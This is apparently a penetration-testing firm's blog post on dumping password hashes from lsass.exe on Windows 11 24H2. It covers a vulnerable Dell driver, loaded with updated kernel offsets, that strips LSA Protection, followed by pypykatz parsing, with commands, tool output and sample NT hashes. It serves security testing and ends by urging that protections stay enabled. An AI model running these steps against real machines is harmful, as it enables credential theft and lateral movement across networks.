---
title: Dump Hashes in Windows 11 24H2
url: https://www.vidrasec.com/blog/dump-hashes-in-windows-11-24h2/
description: In this blog post, I describe how I managed to extract password hashes from the lsass.exe process memory in Windows 11 24H2.
date: 2025-03-02
---


In this blog post, I describe how I managed to read password hashes from the `lsass.exe` process memory in Windows 11 24H2. Since this version was still very new at the time of writing this post, some of the issues are due to a lack of tool support and should be resolved in the future. However, this post may also help in adapting the tools for later Windows versions.

I was preparing a hacking demo. I wanted to show a few standard tasks you do in a pentest. One of these was reading the `lsass.exe` process memory, i.e., dumping password hashes. I must have done this a hundred times before. But this time, it just wouldn't work. I spent several evenings isolating, debugging, and fixing the issues. This blog post describes my approach.

The source of all the problems is Windows 11 24H2. At the time of writing, the version was still relatively new and not really supported by tools.

Additionally, there are a few security measures that are enabled by default in Windows 11:

- **LSA Protection (PPL Protection)**
- **Vulnerable Driver Blocklist** (interestingly, this wasn't an issue, which may also be due to the disabled Windows Defender)
- **Credential Guard** (in parentheses because it wasn't active in my VM due to lack of hardware support)

Overall, this means that we need to bypass LSA Protection. However, the Vulnerable Driver Blocklist should make this more complicated (in theory).

Reading credentials out of `lsass.exe` after landing on a workstation or server is one of the standard moves in an [Internal IT Infrastructure Penetration Test](/services/internal-it-infrastructure-penetration-test/); it's usually the step that turns "one wrong click" into lateral movement across the domain.

## Bypassing LSA Protection

In simple terms, LSA Protection just sets a flag on the `lsass.exe` process that prevents access to the process memory, even with `Local System` rights. The classic bypass for this is to load a vulnerable kernel driver that allows such access. It needs to be vulnerable because that's the only way I can execute my own code in its context. Since kernel drivers need to be signed, I can't just write my own driver.

There are many options here (see also <https://www.loldrivers.io/>), but the **Vulnerable Driver Blocklist** makes it more difficult for us. It blocks known vulnerable drivers.

There are already some ready-made tools to perform this attack, like [dellicious](https://github.com/jbaines-r7/dellicious). This isn't a typo; the tool is named this way because a vulnerable Dell driver is exploited.

Now we have a problem. The tool doesn't support Windows 11 24H2. Luckily, this is easy to fix. We just need to find the kernel offsets for our Windows version and adjust them in the code.

This can be done with `WinDBG`. Open `File > Attach to Kernel > Local`, then load the symbols with the following commands:

```
.symfix
.reload
```

Then display the **EPROCESS** structure:

```
dt nt!_EPROCESS
```

From the output, extract the values for `UniqueProcessId`, `ActiveProcessLinks`, and `SignatureLevel`:

```
+0x1d0 UniqueProcessId  : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
+0x5f8 SignatureLevel   : UChar
```

Now insert these into **dellicious**. I did this in this commit: <https://github.com/VidraSec/dellicious/commit/56c82bb7a2901baafeb8056deb6f13d8ad24da91>

You can find the full repo here: <https://github.com/VidraSec/dellicious/>

What's still missing are the vulnerable Dell drivers. They can be found with some internet research. **Important:** You should verify the hashes beforehand.

```powershell
PS> .\dellicious.exe -p 856 -e 0 -d .\driver\
[+] User provided pid: 856
[+] User provided driver directory: .\driver\
[+] Windows version found: 26100
[+] Using offsets:
        UniqueProcessIdOffset = 0x1d0
        ActiveProcessLinkOffset = 0x1d8
        SignatureLevelOffset = 0x5f8
[+] Attempting driver install...
[+] Driver installed!
[+] Device handle has been obtained @ \\.\DBUtil_2_5
[+] Ntoskrnl base address: fffff805b9c00000
[+] PsInitialSystemProcess address: ffffc102b46a0040
[+] Target process address: ffffc102bbf61080
[+] Current SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer bits (plus 5 bytes): 40c00000000000
[+] Writing flags back as: 40c00000000000
[+] Done!
[+] Removing device
[!] Clean exit! o7
```

Great, now we have access to the `lsass.exe` process without PPL. This means we can, for example, use the Task Manager to create a dump.

## Reading the Hashes

Now we have another problem. Neither **Mimikatz** nor **pypykatz** can parse the file. This is due to how the parsing works.

1. The program searches for a specific byte sequence, the "signature."
2. From this memory location, the program finds the pointers to `LogonSessionList` and `LogonSessionListCount`.
3. This tells the program where the logon data is located in the file.

How do I know all this? Thanks to this excellent blog post: <https://www.praetorian.com/blog/inside-mimikatz-part2/>

These values are all hardcoded and have changed in Windows 11 24H2. Additionally, the logic has changed slightly. To find the new values, one must disassemble `lsasrv.dll` (e.g., with Ghidra).

Therefore, everything needs to be adjusted for Windows 11 24H2. Since I didn't have deep enough knowledge on this topic, I needed help and opened an [Issue](https://github.com/skelsec/pypykatz/issues/174) in the **pypykatz** repository. Thanks a lot to [SkelSec](https://github.com/skelsec) for quickly implementing the new logic!

With the current **pypykatz** version, we can now extract the credentials from our dump file.

```bash
pypykatz lsa minidump ./dump.DMP

== LogonSession ==
authentication_id 278102 (43e56)
session_id 1
username highpriv
domainname WIN11
logon_server WIN11
logon_time 2025-02-27T11:44:50.975151+00:00
sid S-1-5-21-800810350-130866625-3627431900-1001
luid 278102
        == MSV ==
                Username: highpriv
                Domain: WIN11
                LM: NA
                NT: 83ae0f1e4d3eebb222aee30e865b3336
                SHA1: bd2f0e14880fa891001a05b5cff2fe5568bd3f7b
                DPAPI: bd2f0e14880fa891001a05b5cff2fe5568bd3f7b
```

## Credential Guard

It wasn't active in my case. However, if it had been active, I would have received an encrypted blob instead of the NT hashes. To bypass **Credential Guard**, one more step is required. I recommend this blog post for further reading: <https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22>

## Summary

It would be easy to say that all these security features are useless because they can be bypassed. In my opinion, that's too simplistic.

Without these additional measures, it's extremely easy to read hashes. I spent several hours and needed a lot of detailed knowledge.

Therefore: **Yes, all security features should be enabled. But no system is ever 100% secure. I can only make it as difficult as possible for attackers.**

If you want to know whether an attacker could pull this off against your own environment, and what else they could reach from there, that's exactly what an [Internal IT Infrastructure Penetration Test](/services/internal-it-infrastructure-penetration-test/) tests for. Techniques like this one also show up in a [Cyber Attack Simulation](/services/cyber-attack-simulation/), to test whether your team detects an attack like this. BitLocker is another default Windows client control worth checking; see [Bypassing BitLocker Without a Screwdriver: bitpixie](/blog/bitlocker-bitpixie/).

[**Questions about Windows client security, credential attacks, or pentests? Contact VidraSec.**](/contact/)

Weighing whether to bring in outside help for this kind of testing? The [Pentest Provider Checklist](/blog/pentest-provider-checklist-dach-smb/) covers what to look for.

